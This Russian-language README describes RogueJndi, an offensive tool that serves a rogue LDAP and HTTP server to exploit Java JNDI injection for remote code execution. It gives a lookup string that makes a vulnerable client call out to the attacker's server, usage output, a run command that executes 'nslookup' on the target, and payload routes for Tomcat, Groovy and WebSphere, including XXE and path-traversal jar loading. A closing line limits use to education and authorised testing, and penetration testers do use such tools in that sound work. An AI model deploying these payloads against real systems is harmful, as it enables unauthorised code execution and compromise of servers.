
Вредоносный LDAP-сервер для атак с внедрением JNDI
Вредоносный LDAP-сервер для атак с JNDI-инъекциями.
Проект содержит LDAP- и HTTP-серверы для эксплуатации небезопасного по умолчанию Java JNDI API.
Для выполнения атаки вы можете запустить эти серверы локально, а затем вызвать разрешение JNDI на уязвимом клиенте, например:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
Это инициирует соединение от уязвимого клиента к локальному LDAP-серверу. Затем локальный сервер отвечает вредоносной записью, содержащей одну из полезных нагрузок (payload), которая может быть полезна для достижения удалённого выполнения кода.
В дополнение к известным методам JNDI-атак (через удалённую загрузку классов в ссылках) этот инструмент предлагает новые векторы атак, используя возможности ObjectFactories.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
Наиболее важные параметры — это hostname LDAP-сервера (-n, должен быть доступен с целевой машины) и команда, которую вы хотите выполнить на целевом сервере (-c).
В качестве альтернативы опции "-c" вы можете изменить файл ExportObject.java, поместив в него Java-код, который хотите выполнить на целевом сервере.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Требуются Java v1.7+ и Maven v3+
mvn package
Это программное обеспечение предоставляется исключительно в образовательных целях и/или для тестирования систем, на атаку которых у пользователя есть предварительное разрешение.